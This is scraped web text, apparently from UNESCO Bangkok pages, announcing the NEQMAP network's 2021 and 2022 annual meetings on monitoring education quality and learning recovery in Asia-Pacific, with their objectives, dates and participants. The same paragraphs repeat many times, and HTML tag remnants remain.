mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

